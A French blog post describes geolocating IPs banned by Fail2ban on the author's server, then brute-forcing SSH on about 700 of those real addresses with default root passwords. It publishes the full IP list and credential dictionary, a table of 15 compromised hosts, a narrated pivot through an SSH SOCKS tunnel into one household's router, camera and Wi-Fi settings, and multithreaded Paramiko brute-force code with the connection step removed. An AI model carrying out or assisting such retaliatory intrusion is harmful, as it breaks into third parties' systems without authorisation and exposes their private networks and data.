Que faire avec les journaux système rapportant des tentatives d'intrusion sur un serveur ?
Réponse : Quelque-chose de mature et responsable; chercher à savoir d'où proviennent les attaques pour attaquer à son tour...

Sommaire

Fail2ban

Fail2ban est un scanner de journaux système. Il bannit les IP sur la base de règles de simples (nombre d'essais trop important, comptes utilisateurs inexistants, comportements irrespectueux pour les services). Les mauvais élèves sont bannis sur de longs intervalles de temps à l'aide de règles ajoutées au pare-feu iptables.

Le port SSH par défaut est la porte d'entrée la plus prisée d'un système car elle mène à son contrôle total.
La technique d'attaque la moins efficace mais la plus facile, est l'attaque dite par force brute. Il s'agit de faire appel à des dictionnaires d'identifiants/mots de passe et de tester toutes les combinaisons possibles.

Les serveurs ne dorment jamais et sont en permanence soumis à ces tests parfois très nombreux, provenant souvent de réseaux de machines infectées, dirigés par des personnes que l'on ne retrouvera évidemment jamais.

Analyse des journaux et cartographie avec Python

Fail2ban génère lui-même des journaux standardisés retraçant les opérations de bannissement/débannissement. J'ai donc décidé d'extraire toutes les adresses fautives pour géolocaliser la provenance des attaques grâce à l'outil GeoIP de Maxmind. Il s'agit d'une base de données mise à jour mensuellement dans sa version gratuite, servant à faire la conversion IP <=> coordonnées géospatiales.

Le tout est affiché grâce à Matplotlib et à son module non officiel de cartographie : Basemap. La dernière version de Basemap n'est pas sur Pypi, il faudra passer par Github et compiler soi-même le module.

# Headers python
apt-get install python3-dev # Remplacez par python-dev pour DinoPython2.7
# GEOS (Geometry Engine - Open Source) library (version 3.1.1 or higher)
apt-get install libgeos-dev
# Requirements install
pip3 install matplotlib numpy pyproj pyshp # Remplacez par pip pour DinoPython2.7
# Téléchargez le zip du dépôt depuis github ou clonez le
git clone https://github.com/matplotlib/basemap.git
# Compilation
cd basemap
./configure
make -j # Multithreading
sudo make install
# Installation python
python setup.py install --user # Virez le --user si vous avez les droits root ou si vous êtes en environnement virtuel

Chaque adresse IP représente une machine compromise engagée dans un réseau de botnets. Pourquoi ne pas tenter à notre tour un bruteforce maison ? J'ai utilisé le module SSH Paramiko pour cela; voir tuto.

Note : Il existe de nombreux outils plus performants et plus perfectionnés que le code que je propose. Le but ici étant de démontrer la facilité de la chose...

Voici les IP concernées (aucun scrupule, elles sont de toute façon publiques car certains administrateurs participent à la mise à jour de bases de données d'IP frauduleuses détectées par Fail2ban. cf. exemple).

{'178.69.132.95', '43.255.188.145', '115.205.147.58', '182.100.67.112', '59.47.0.157', '81.134.128.180', '50.63.137.18', '69.73.58.36', '62.75.248.17', '71.123.44.83', '43.255.188.163', '89.23.194.49', '118.233.117.66', '49.231.15.34', '115.207.76.172', '183.45.160.135', '58.211.249.172', '87.23.3.119', '61.182.227.182', '87.25.238.196', '207.210.117.36', '184.95.32.218', '95.66.143.8', '209.54.61.70', '113.89.232.179', '115.198.78.87', '61.12.41.70', '60.8.151.51', '184.168.134.150', '176.144.135.176', '117.253.191.143', '60.182.158.101', '58.22.116.172', '82.236.136.21', '74.51.143.100', '220.90.18.106', '62.210.15.250', '189.202.194.34', '222.186.21.72', '177.87.42.58', '221.229.166.3', '60.250.33.201', '187.5.165.120', '177.43.243.169', '171.232.56.108', '93.174.93.20', '101.226.249.53', '46.136.183.147', '217.23.13.131', '212.12.128.102', '177.130.61.85', '183.128.122.122', '222.255.174.50', '163.53.247.164', '117.253.168.154', '222.184.126.58', '222.197.129.60', '119.164.254.57', '221.229.166.81', '43.255.188.140', '115.195.179.18', '114.80.114.80', '78.111.249.62', '83.234.207.60', '50.63.56.189', '118.97.147.27', '188.15.31.111', '113.195.145.80', '177.200.78.233', '43.255.188.138', '193.107.17.72', '86.177.224.93', '49.236.204.232', '62.141.38.7', '210.211.125.177', '179.124.19.203', '177.43.243.203', '43.229.52.193', '203.112.195.21', '188.195.76.4', '58.218.211.38', '186.208.156.163', '61.82.71.251', '202.85.213.203', '59.45.79.40', '115.248.223.206', '183.154.206.96', '83.230.255.70', '195.137.212.218', '61.91.171.55', '180.169.45.227', '110.175.207.160', '199.106.88.54', '106.51.226.25', '212.129.28.31', '112.140.187.115', '70.28.46.190', '222.255.174.69', '43.255.188.164', '87.106.214.64', '12.237.115.7', '182.100.67.59', '222.171.202.193', '190.99.95.10', '183.14.221.87', '113.195.145.85', '193.107.16.206', '213.185.87.21', '95.56.234.110', '113.118.174.118', '115.207.22.216', '85.25.20.182', '43.229.53.25', '123.235.31.156', '115.197.245.169', '114.39.187.169', '117.253.190.149', '222.186.21.195', '110.170.133.22', '158.69.208.158', '195.154.167.227', '114.34.149.14', '117.245.72.32', '176.226.150.139', '222.216.29.175', '181.63.251.33', '173.201.27.211', '49.236.204.180', '59.90.101.134', '96.34.182.97', '122.102.120.165', '125.69.80.32', '72.167.113.7', '43.229.53.20', '109.161.202.54', '115.206.152.243', '200.35.56.43', '71.94.144.239', '116.110.127.19', '37.252.94.245', '37.19.39.153', '159.226.162.192', '200.254.242.18', '118.163.21.36', '202.205.16.62', '212.129.17.132', '97.74.115.51', '116.110.124.250', '200.34.141.194', '123.96.166.40', '193.104.41.138', '182.71.32.254', '43.229.53.61', '96.27.155.96', '218.65.30.92', '104.243.16.105', '187.121.210.99', '182.207.1.124', '114.231.168.163', '115.248.186.2', '108.50.211.147', '218.87.111.108', '79.98.135.156', '125.227.217.174', '186.216.247.202', '91.193.74.11', '82.158.192.83', '188.162.170.55', '31.199.201.10', '50.63.176.19', '112.187.199.184', '59.47.0.152', '115.197.244.150', '115.197.116.105', '193.169.86.77', '67.19.112.186', '121.247.3.54', '118.192.77.102', '89.248.168.5', '220.191.7.90', '78.143.102.194', '109.252.219.139', '81.66.231.138', '95.243.85.211', '202.139.3.236', '83.244.191.237', '45.63.14.152', '217.170.195.51', '177.130.57.94', '158.69.208.159', '112.171.146.205', '60.185.250.128', '74.0.155.235', '195.154.71.241', '87.252.220.197', '185.40.28.4', '218.59.146.79', '123.126.93.153', '218.189.196.37', '211.147.255.42', '218.56.97.106', '91.193.74.31', '89.146.224.82', '210.27.176.25', '113.104.215.218', '43.229.52.183', '27.254.96.92', '72.167.141.131', '222.255.174.41', '85.214.193.236', '193.104.41.88', '199.83.94.90', '188.138.113.113', '110.38.223.163', '182.75.128.182', '198.74.100.10', '43.229.52.134', '43.255.188.161', '109.190.6.20', '203.117.75.102', '59.45.79.116', '180.250.125.139', '101.0.67.44', '218.65.30.73', '222.186.34.85', '183.146.123.198', '218.87.109.60', '187.121.80.221', '107.178.110.225', '59.45.79.109', '37.252.94.166', '94.25.3.164', '177.39.215.161', '201.46.34.139', '203.200.188.5', '59.47.0.148', '202.198.129.78', '118.194.132.172', '50.255.22.12', '98.218.32.59', '201.90.216.10', '189.254.196.101', '62.141.33.187', '81.21.20.139', '87.106.187.166', '43.229.52.189', '210.92.18.118', '213.97.35.34', '115.196.94.140', '186.64.92.52', '42.202.146.65', '89.17.40.246', '72.167.141.44', '108.175.214.202', '115.179.102.249', '183.101.81.148', '222.186.21.90', '74.208.218.138', '182.243.121.39', '176.192.176.4', '43.229.52.194', '184.168.117.82', '182.74.219.178', '67.223.129.214', '218.18.203.100', '177.93.89.67', '117.253.232.173', '72.167.34.126', '176.196.76.201', '78.200.95.25', '61.178.188.34', '123.49.62.232', '60.182.130.194', '177.72.81.218', '31.198.20.179', '91.143.207.146', '179.125.80.108', '189.240.248.100', '193.201.225.93', '221.229.166.29', '218.146.105.211', '218.87.111.117', '95.66.187.254', '118.219.233.133', '115.78.231.17', '217.170.194.130', '210.28.160.177', '98.230.229.55', '58.83.229.11', '189.91.231.52', '78.202.22.29', '120.146.228.137', '200.215.221.10', '124.109.61.37', '118.163.59.209', '211.69.143.17', '60.28.201.188', '198.12.156.124', '81.208.28.96', '37.205.57.117', '79.125.18.33', '118.163.223.214', '183.146.120.176', '113.127.57.23', '59.148.215.44', '43.229.52.167', '115.198.88.5', '205.232.44.203', '186.216.247.199', '177.130.62.41', '195.93.168.153', '218.25.208.90', '187.141.5.177', '180.211.172.109', '69.28.212.58', '122.243.68.168', '117.244.25.232', '46.161.40.2', '43.229.52.178', '220.188.54.170', '50.63.181.246', '79.133.82.18', '115.72.103.148', '190.146.247.87', '212.83.146.212', '222.234.223.222', '37.252.94.139', '138.186.92.229', '118.186.216.62', '122.195.186.43', '180.211.164.131', '58.218.205.84', '82.138.1.118', '91.215.108.80', '186.42.186.146', '115.197.71.175', '95.165.150.109', '125.121.75.147', '66.91.210.68', '179.108.50.193', '217.8.244.9', '14.215.118.48', '201.76.172.86', '222.186.21.198', '125.121.95.25', '223.4.233.212', '165.98.11.27', '12.166.225.156', '113.195.145.70', '195.223.78.99', '119.137.84.73', '190.85.150.140', '179.33.1.82', '210.73.74.245', '190.184.201.10', '104.243.16.106', '82.221.48.174', '201.249.231.59', '183.158.17.145', '123.49.57.222', '45.117.46.2', '179.125.116.168', '111.93.252.10', '182.150.21.162', '43.255.189.48', '182.18.23.217', '222.91.162.45', '219.144.162.174', '190.69.165.210', '173.201.16.222', '208.109.209.53', '62.141.42.83', '183.54.122.194', '222.186.160.52', '46.97.11.113', '218.87.111.116', '218.65.30.23', '82.165.41.192', '183.37.157.159', '67.52.109.94', '60.182.76.106', '115.211.24.128', '82.146.36.221', '148.244.74.120', '182.100.67.114', '77.89.255.254', '118.194.240.26', '112.21.198.28', '62.149.198.87', '193.104.41.53', '43.255.188.166', '74.3.157.99', '190.114.253.178', '211.223.193.201', '192.188.58.180', '66.135.59.253', '119.147.47.94', '37.252.94.153', '223.30.136.114', '118.139.160.95', '54.183.201.63', '183.152.53.125', '86.43.99.166', '202.117.35.252', '178.239.179.11', '31.210.111.120', '82.165.141.62', '218.61.60.135', '60.13.127.11', '79.60.140.99', '117.253.186.147', '58.220.253.195', '43.229.52.139', '138.118.191.190', '177.200.94.38', '109.228.26.80', '200.87.139.154', '70.35.40.205', '75.136.108.56', '211.144.107.198', '115.210.204.158', '221.179.233.55', '218.74.79.217', '87.106.55.222', '221.203.142.71', '115.28.110.225', '212.80.229.35', '109.111.112.77', '186.101.2.130', '208.125.63.134', '115.196.25.68', '118.157.77.28', '52.7.72.7', '72.167.165.64', '196.10.216.50', '82.194.82.46', '202.46.14.130', '113.90.189.149', '58.218.211.198', '117.255.209.141', '208.93.209.237', '193.104.41.137', '94.90.187.147', '190.210.30.237', '177.154.45.248', '210.221.219.205', '193.95.84.205', '119.139.83.10', '223.203.217.202', '117.253.108.49', '190.90.227.125', '68.178.142.211', '70.108.243.203', '103.237.145.106', '14.20.44.139', '179.184.115.146', '222.218.142.194', '213.21.157.197', '185.7.81.82', '94.247.27.213', '50.63.58.5', '182.100.67.52', '43.255.188.147', '69.67.41.17', '91.219.228.186', '211.140.41.28', '114.255.159.85', '203.94.243.84', '50.63.54.193', '217.196.134.73', '202.33.240.16', '91.205.129.58', '177.130.52.145', '112.220.234.195', '183.37.9.78', '219.137.210.103', '58.206.126.29', '95.183.27.213', '202.123.179.226', '69.144.52.62', '63.136.2.88', '176.10.131.208', '72.167.46.164', '223.216.83.135', '109.169.74.58', '41.21.160.252', '125.122.164.243', '62.141.36.192', '97.126.193.55', '5.134.255.55', '182.100.67.102', '117.253.220.88', '180.43.233.96', '182.75.8.238', '58.137.72.110', '222.42.146.175', '84.97.163.101', '183.151.55.210', '31.172.246.250', '183.156.74.190', '221.0.186.33', '117.253.244.8', '12.165.44.163', '189.115.92.19', '5.190.79.140', '108.59.250.101', '176.209.12.28', '61.139.5.22', '87.106.24.113', '177.223.120.160', '94.183.136.246', '187.19.190.100', '190.181.29.213', '98.25.77.42', '58.218.211.166', '212.91.171.178', '50.62.130.39', '113.102.188.82', '96.10.107.162', '218.87.109.253', '187.178.206.67', '221.203.106.229', '82.165.137.79', '87.106.176.38', '110.159.183.246', '195.24.199.65', '167.88.14.113', '186.121.211.19', '218.65.30.107', '184.168.134.72', '188.120.240.106', '91.121.121.5', '115.216.28.252', '151.11.17.14', '61.40.192.56', '218.87.111.109', '113.195.145.79', '115.195.171.170', '60.216.6.213', '187.1.79.1', '183.61.68.226', '201.62.50.4', '222.158.196.223', '221.203.3.117', '184.170.88.70', '203.130.254.180', '222.82.212.75', '177.190.147.19', '221.7.27.89', '95.56.234.150', '122.169.118.65', '27.254.67.157', '81.180.117.90', '118.144.82.13', '109.161.205.1', '59.63.188.53', '109.71.138.13', '115.220.123.129', '188.64.160.229', '122.184.141.8', '58.67.199.9', '182.18.21.115', '60.247.83.136', '91.223.133.235', '218.4.117.26', '219.91.251.93', '220.185.47.107', '115.211.121.39', '117.253.174.72', '218.65.30.61', '188.11.49.114', '122.241.253.115', '72.245.157.189', '5.42.64.203', '115.211.24.223', '183.39.180.233', '27.251.165.130', '104.151.217.101', '222.186.3.216', '119.164.254.50', '67.52.174.10', '113.195.145.12', '203.175.79.19', '99.54.13.169', '187.61.1.122', '66.205.102.188', '82.80.232.34', '171.250.102.210', '118.223.231.59', '218.87.111.110', '64.76.13.6', '218.161.46.99', '78.38.35.18', '182.74.31.226', '180.211.206.75', '112.65.229.76', '207.106.237.107', '190.81.112.20', '69.21.118.244', '190.64.137.26', '131.108.225.144', '125.89.200.83', '146.185.20.18', '43.229.52.184', '117.245.44.61', '62.210.15.58', '27.254.67.185', '182.50.141.66', '43.229.52.198', '221.203.142.70', '187.73.204.189', '83.168.192.132', '204.191.179.12', '103.243.107.56', '193.104.41.54', '121.34.232.22', '93.179.80.116', '182.71.32.253', '222.216.89.122', '219.151.8.160', '133.242.16.172', '50.205.241.8', '202.83.16.236', '186.233.67.11', '121.156.122.97', '190.202.44.194', '193.104.41.87', '206.126.26.30', '221.229.166.30', '217.77.210.194', '23.247.65.10', '82.200.168.66', '78.215.88.102', '37.190.27.116', '118.174.38.22', '180.166.152.146', '23.83.77.230', '177.72.49.41', '61.160.213.190', '109.161.199.95', '187.217.91.38', '169.229.3.91', '77.75.19.242', '125.111.136.199', '218.90.134.14', '118.175.13.242', '50.62.149.54', '59.63.188.44', '115.209.201.132', '109.161.197.82', '183.154.190.49', '201.151.44.20', '177.185.222.135', '183.141.147.251', '113.16.199.106', '61.183.22.139', '148.102.17.234', '193.230.134.190', '109.161.244.149'}

Mon dictionnaire d'identifiants est de petite taille mais sur 700 adresses IP on peut supposer que ça sera suffisant :

('root', 'root'),
('root', 'toor'),
('root', 'admin'),
('root', 'pass'),
('root', 'password'),
('root', '0000'),
('root', '12345'),
('root', '1234'),
('root', 'test')

Résultats

Cartographie

En vert : les localisations présentes dans moins de 33% des attaques (moins de 13 occurrences); en jaune : les localisations présentes entre 33% et 50% des attaques (entre 13 et 20 occurrences); en rouge : les localisations présentes dans plus de 50% des attaques (plus de 20 occurrences). Sans surprise, les grosses agglomérations chinoises arrivent en premier, viennent ensuite le Brésil, et la côte californienne. Notez que lorsque la géolocalisation n'est pas assez précise, c'est la capitale politique qui est choisie (cf le Brésil).

Bruteforce

En l'espace de 15 minutes, on obtient une belle liste de 15 serveurs avec un service SSH configuré par défaut, ouvert à tous les vents. Cette fois-ci je masque les mots de passe et le dernier octet des adresses parce-que c'est un peu illégal et un peu répréhensible (Et aussi par pure hypocrisie car avec la liste et le code vous pouvez retrouver ces résultats. Voir ma remarque à ce sujet en Annexe).


Adresse IPLoginPassUptimeUname -a
187.110.129.xroot****15:16:35 up 15:16, load average: 0.11, 0.09, 0.08sh: uname: not found
182.72.100.xroot****06:25:47 up 55 min, load average: 1.03, 1.20, 1.25Linux Purple Infotech AWE 2.6.20.6 #259 Wed Aug 6 18:49:32 CST 2014 ppc unknown
190.2.4.xroot****06:27:34 up 16 days, 25 min, load average: 15.39, 14.27, 13.19Linux coyote 2.4.30 #2 Thu May 5 03:57:22 EDT 2005 i686 unknown
177.130.62.xroot****
177.69.149.xroot****03:31:57 up 31 min, load average: 0.08, 0.07, 0.05sh: uname: not found
221.179.233.xroot****07:12:50 up 3 days, 13:36, load average: 7.17, 7.08, 7.08Linux Enzo 2.6.34.8-BL2.1.10.1 #698 Fri Jul 19 15:51:14 CST 2013 mips GNU/Linux
200.215.221.xroot****
201.76.172.xroot****21:18:40 up 7 days, 13:22, load average: 0.08, 0.08, 0.11Linux mechworks 3.16.2 #1 SMP Sun Apr 12 23:07:01 GMT 2015 i686 GNU/Linux
58.211.249.xroot****07:20:16 up 74 days, 15:51, 0 users, load average: 0.92, 0.74, 1.17Linux kedacomvc-desktop 3.2.0-24-generic-pae #37-Ubuntu SMP Wed Apr 25 10:47:59 UTC 2012 i686 i686 i386 GNU/Linux
182.75.8.xroot****04:48:46 up 9:26, load average: 3.03, 3.03, 3.13Linux VPNRouter 2.6.20.6 #41 Thu Jan 8 13:32:01 CST 2015 ppc unknown
182.75.128.xroot****01:13:56 up 22 days, 19:44, load average: 12.20, 6.55, 5.58Linux MLS BUSINESS 2.6.20.6 #259 Wed Aug 6 18:49:32 CST 2014 ppc unknown
177.130.62.xroot****02:41:57 up 2:42, load average: 0.00, 0.00, 0.00sh: uname: not found
201.62.50.xroot****05:10:49 up 5:10, load average: 0.00, 0.01, 0.00sh: uname: not found
189.91.231.xroot****12:16:59 up 12:17, load average: 0.08, 0.05, 0.00sh: uname: not found


Il s'agit essentiellement de machines sous OS de type Unix évidemment, car Unix est présent sur 67% à 96% des serveurs web (selon que l'on considère les 10 ou 1 millions les plus fréquentés), plus de 90% des systèmes embarqués et 46% des mobiles; en fait il n'y a que là où on n'en branle pas une, que l'OS n'est pas présent (1,5% chez les ordinateurs de bureau) (sources actualisées en 2015 via Wikipédia).

Ici nous n'identifions que des plates-formes hébergeant un serveur SSH (donc de type Unix en faisant un raccourci). Ce genre de configuration est plutôt rare sur des machines vérolées. Il serait intéressant de faire une détection d'OS sur chaque IP frauduleuse avec nmap.

Une adresse au hasard ?

Prenons une adresse au hasard et regardons qui se cache derrière (cette adresse a été retirée des données précédentes, inutile de chercher).

Un peu de tunneling SSH...

ssh root@xxx.xxx.xxx.xxx -D 8888

Le paramètre -D force le client SSH et le serveur à agir comme un proxy de type SOCKS. Le protocole SOCKS se situe entre la couche d'application et la couche de transport du Modèle OSI.

En bref, le client SSH aspire tout ce qui passe par le port 8888, tandis que le serveur s'occupe de tout rediriger où il faut. C'est plus pratique et plus rapide qu'une bête translation de port (paramètre -L).

Hop, demandons quelques infos :

Le noyau custom (Linux davinci-violet) recherché sur le net nous mène vraisemblablement vers un appareil de vidéosurveillance.

Quel adressage réseau ?
La machine est sur un réseau local en position 192.168.1.17, la passerelle est en 192.168.1.1.

De la place ?
Oui, 1 To. Les données sont a priori écrasées régulièrement quand de nouvelles séquences vidéo arrivent.


Réglons les paramètres de proxy de notre navigateur (Konqueror ici) :


Où sommes-nous ?
Instantanément le navigateur se comporte comme si on était sur place; à la Réunion donc...


Connexion au routeur :

Ne cherchez pas trop loin, comme d'habitude les identifiants sont */* => habituels... Top sécurité, merci le FAI !


4 machines sur le réseau; dont notre appareil de vidéosurveillance.


Un tour dans la config wifi ?

Un réseau chiffré avec la sécurité WEP obsolète depuis plus de 10 ans... En étant à côté de la maison on accèderait au réseau en moins de 2 minutes. Le WPS est désactivé par défaut => OUF ça pourrait être non sécurisé :D


La webcam en DMZ à poil sur le net...


On retrouve les prénoms des propriétaires dans le nom de l'iPad; Une résolution de l'adresse MAC des autres appareils sur une base de données OUI (Organizationally Unique Identifier) nous indique qu'ils disposent d'une imprimante CANON.

Je m'arrête ici on pourrait aller bien plus loin mais cela irait à l'encontre de tout but informatif. En tout cas j'espère qu'ils surveillent leurs comptes bancaires de près. Tous leurs appareils sont potentiellement compromis...

Que faire ?

Écrire des mails d'alerte aux administrateurs et responsables des plateformes concernées ?
Pour signaler une faille il faut l'avoir exploitée au préalable et ce genre d'acte est répréhensible; même pour la bonne cause.
Lire Wikipédia : White Hat.

Écrire aux particuliers qui disposent de matériel participant à leur insu à des attaques distribuées de grande ampleur ?
Même chose que précédemment : on ne sait pas chez qui on tombe.

La meilleure approche serait plutôt de chercher à sensibiliser le grand public en amont. L'informer que la connexion au réseau n'est jamais anodine et doit se faire de manière responsable et sécurisée. Ni les opérateurs, ni les vendeurs de matériel n'abordent ces questions.
Plus un système héberge de services connectés, plus la sécurité est remise en question; or les vendeurs d'OS font tout pour réduire la frontière entre le réseau local et le réseau mondial. Pire encore, les systèmes d'exploitation propriétaires sont opaques lors de la recherche de failles.

Nos données et nos machines ne nous appartiennent plus.

Si vous estimez que vous n'avez rien à cacher, alors vous signifiez que vous ne trouvez rien à redire à cela.

Références

Annexe : Code Python utilisé

Le code ci-dessous a été utilisé au cours de l'article. Néanmoins, vous devez savoir que depuis 2004 en France, la magnifique loi sur l'économie numérique (première d'une longue série d'inepties) interdit la divulgation publique de vulnérabilités accompagnées de leurs codes d'exploitation. Plus encore, la possession de tels codes est répréhensible. En revanche, les lire ne l'est pas encore, mais on pourrait vous obliger à porter des lunettes opaques (pour votre bien, ça va de soi)... Les sanctions prévues s'appliquent de manière indifférenciée par rapport à l'infraction commise, ou qui pourrait être commise avec le code détenu.
Le code ci-dessous est donc amputé de la partie sensible liée à la connexion SSH.

C'est bête vous auriez pu apprendre des choses mais l'État n'en a pas voulu ainsi. Un peuple con est toujours préférable à un peuple averti :)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""
This module parses fail2ban log, to make a representation of the geographical
localization of attacks.
Furthermore, the module conducts a basic brute-force attack on the attackers 
servers.

"""
# Third party imports
try:
    import geoip2.database
except:
    print("geoip2 seems not to be installed. \
        Please install the module with the following command:\n \
        sudo pip3 install geoip2\n \
        or \
        pip3 --user install geoip2")

import paramiko

from mpl_toolkits.basemap import Basemap
import matplotlib.pyplot as plt

# Standards imports
import os
import re
import time
from collections import Counter
import numpy as np

# Global variables
LOGS_DIR       = "./logs/"
RESULTS_DIR    = "./results/"
DATA_DIR       = "./data/"
GEOIP_DATABASE = DATA_DIR + 'GeoLite2-City.mmdb'


def retrieve_fail2ban_logs(directory="./logs/"):
    """Retrieves fail2ban log files only in a directory !"""

    return [fi for fi in os.listdir(directory)
            if re.search(r'fail2ban.log(.[0-9])?$', fi)]


def parse_fail2ban_log(file):
    """Retrieves set of banned ip in one log file"""

    print(file, "processing...")

    expr_ip_addr = re.compile(r'.*Ban (([0-9]{1,3}\.){3}([0-9]{1,3})).*')

    #print(expr_ip_addr.match("Ban 192.168.1.3 suite").groups()[0])

    banned_ip = set()

    with open(file, 'r') as log:

        for line in log:
            try:
                #print(expr_ip_addr.match(line).groups()[0])
                #print(line)
                banned_ip.add(expr_ip_addr.match(line).groups()[0])
            except AttributeError:
                pass

    print("Number of addresses: ", len(banned_ip))
    return banned_ip


def connect_to_ip(ip_addr, login_to_test):
    """Make a connexion to the given ip addr and try to get some informations."""

    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

    for login, passwd in login_to_test:

        print("Current login:", login, passwd, "for", ip_addr)

        try:

            ### CODE SUPPRIMÉ PAR RESPECT POUR LA BRILLANTE LÉGISLATION FRANÇAISE ###
            ### c'est con vous auriez pu apprendre des choses mais l'État en a décidé autrement ###

            try:
                # Tentative de récup d'infos
                stdin, stdout, stderr = ssh.exec_command("uptime && uname -a",
                                                        timeout=3)

                # Les retours de commande se terminent par un '\n'
                # Pour les séparer proprement je le remplace par un ';'
                #print(stdout.readlines(), stderr.readlines())

                print("ok")
                text = "{}; {}; {}; {}".format(login,
                                            passwd,
                                "".join(stdout.readlines()).replace('\n', ';'),
                                "".join(stderr.readlines()).replace('\n', ';'))

            except:
                # Echec commande mais identifiants valides
                print("Ok, but error while executing command")
                text = "{}; {}".format(login,
                                    passwd)
            finally:
                # Sauvegarde d'urgence
                backup_strat(ip_addr + ';' + text)
                return text

        except paramiko.ssh_exception.AuthenticationException:
            pass
        except paramiko.ssh_exception.BadAuthenticationType:
            # Pas d'authentification autorisée ou clé pulique
            # Aucun intéret de continuer
            return None
        except paramiko.ssh_exception.SSHException:
            # Echecs dans le protocole SSH2 => trop d'essais en meme temps ?
            #Error reading SSH protocol banner ...
            # voir en ssh avec -vvv:
            #The banner should start with 'SSH-', or paramiko will return the above error immediately.
            return None
        except:
            # Default...
            return None

    return None


def start_connections(banned_ip, login_to_test):
    """Multithreading for the bruteforce of ip addresses"""

    ts1 = time.time()

    from concurrent.futures import ThreadPoolExecutor, as_completed

    # Threads pour l'asynchrone
    # 660 threads sans timeout <3
    with ThreadPoolExecutor(max_workers=660) as ex:

        futures_and_output = {ex.submit(connect_to_ip,
                                        job_name,
                                        login_to_test
                                    ):job_name \
                            for job_name in banned_ip}

    nb_errors       = 0
    nb_done         = 0
    good_address    = list()
    for future in as_completed(futures_and_output):

        job_name = futures_and_output[future]

        # On affiche les résultats si les futures en contiennent.
        # Si elles contiennent une exception, on affiche l'exception.
        if future.exception() is not None:
            print("{} generated an exception: {}".format(job_name,
                                                        future.exception()))
            nb_errors += 1
        else:
            # The end
            print("{}... \t\t[Done]".format(job_name))

            if future.result():
                good_address.append(job_name + ';' + future.result())

            nb_done += 1

    print("\nEnding: {} errors, {} done\nbye.".format(nb_errors,
                                                    nb_done))
    print("Good addresses list:\n", len(good_address))
    write_results(good_address)

    print("(in {}s)".format(time.time() - ts1))


def write_results(good_address):
    """Save the results of bruteforce in 'good_servers.csv' file."""

    with open(RESULTS_DIR + "good_servers.csv", 'a') as file:
        [file.write(elem + '\n') for elem in good_address]


def backup_strat(text):
    """Save temporary results in case of crash..."""

    with open(RESULTS_DIR + "good_servers.bak.csv", 'a') as file:
        file.write(text + '\n')


def load_geoip_database():
    """Get a geoip2 reader


    ..Note: How to use it:
        # Get a pointer to geoip2 reader
        geoip_reader = load_geoip_database()

        get_mail_localization(geoip_reader, ip_poster):

        # Close geoip2 database reader
        geoip_reader.close()

    :return: geoip2 reader
    :rtype: <class 'geoip2.database.Reader'>

    """

    return geoip2.database.Reader(GEOIP_DATABASE)


def get_ip_localization(geoip_reader, ip_poster):
    """Return informations about localization with the given ip address.

    ..Note:: Licence & free databases (country & city):
        http://dev.maxmind.com/geoip/geoip2/geolite2/

    ..Note:: Documentation for geoip2 package:
        https://pypi.python.org/pypi/geoip2

    :param arg1: geoip2 reader.
    :param arg2: ip address.
    :type arg1: <class 'geoip2.database.Reader'>
    :type arg2: <str>

    :return: Tuple with lattitude, longitude.
    :rtype: <tuple <str>, <str>, <str>>

    """

    # Get infos from ip in Geoip DB
    response = geoip_reader.city(ip_poster)

#    print('iso code', response.country.iso_code)
#    print('country name', response.country.name)
#    print('country names', response.country.names['zh-CN'])
#    print('specific name', response.subdivisions.most_specific.name)
#    print('iso code', response.subdivisions.most_specific.iso_code)
#    print('city name', response.city.name)
#    print('postal code', response.postal.code)
#    print('lat', response.location.latitude)
#    print('long', response.location.longitude)

    return response.location.latitude, \
        response.location.longitude


def compute_cartography(ip_loc):
    """Plot the localization of given ip addresses on a map.

    http://nbviewer.ipython.org/github/ehmatthes/intro_programming/blob/master/notebooks/visualization_earthquakes.ipynb

    """

    # Find maximum occurences of an ip addr
    import operator
    max_occurences = max(ip_loc.items(), key=operator.itemgetter(1))[1]

    def get_marker_color(occ, max_occ):
        """Returns green for small frequencies, yellow for moderate,
        and red for significant."""
        if occ < max_occ * 1/3:
            return 'go'
        elif occ < max_occ * 1/2:
            return 'yo'
        else:
            return 'ro'

    # Plot's size
    plt.figure(figsize=(16, 12))

    # setup robin map projection centered on Greenwich
    map = Basemap(projection='robin', lat_0=0, lon_0=0,
                resolution='h', area_thresh=1000.0,
                rsphere=(6378137.00, 6356752.3142),\
                lat_ts=20.)

    # Load custom map
    # http://www.naturalearthdata.com/downloads/10m-cultural-vectors/
    #m.readshapefile(DATA_DIR + 'ne_10m_admin_0_countries', 'test')
    # Remove this if custom shapefile is loaded
    map.drawcoastlines()

    # Fill continents
    map.fillcontinents()
    # Draw parallels
    map.drawparallels(np.arange(-90, 90, 30))
    # Draw meridians
    map.drawmeridians(np.arange(0, 360, 30))

    # Feel free to update marker sizes
    size_coef = 0.90
    for coords in ip_loc.keys():
        msize = ip_loc[coords] * size_coef
        # Don't forget to inverse coords from geoip...long, lat = lat, long
        x_coord, y_coord = map(coords[1], coords[0])
        #print(coords)
        #print(x, y)
        map.plot(x_coord, y_coord,
                get_marker_color(msize, max_occurences * size_coef),
                markersize=msize)

    plt.title('Geographical representation of the origin of the attacks '
            'on SSH port')

    # Save the map
    plt.savefig(RESULTS_DIR + "carto.png", format="png", dpi=150)


if __name__ == "__main__":
    # nmap -O --osscan-limit --max-os-tries 1 192.168.1.3


    # Get filenames of logs
    log_files = retrieve_fail2ban_logs(LOGS_DIR)

    # Parse logs & retrieve banned ip addresses
    banned_ip = set()
    [banned_ip.update(parse_fail2ban_log(LOGS_DIR + f)) for f in log_files]
    print("Total:", len(banned_ip))


    # Get a pointer to geoip2 reader
    geoip_reader = load_geoip_database()

    # How many occurences of a localization ?
    ip_loc = Counter(get_ip_localization(geoip_reader, ip) for ip in banned_ip)

    # Plot the map
    compute_cartography(ip_loc)

    # Close geoip2 database reader
    geoip_reader.close()

    # List of logins to bruteforce
    login_to_test = (('root', 'root'),
                    ('root', 'toor'),
                    ('root', 'admin'),
                    ('root', 'pass'),
                    ('root', 'password'),
                    ('root', '0000'),
                    ('root', '12345'),
                    ('root', '1234'),
                    ('root', 'test'),)

    start_connections(banned_ip, login_to_test)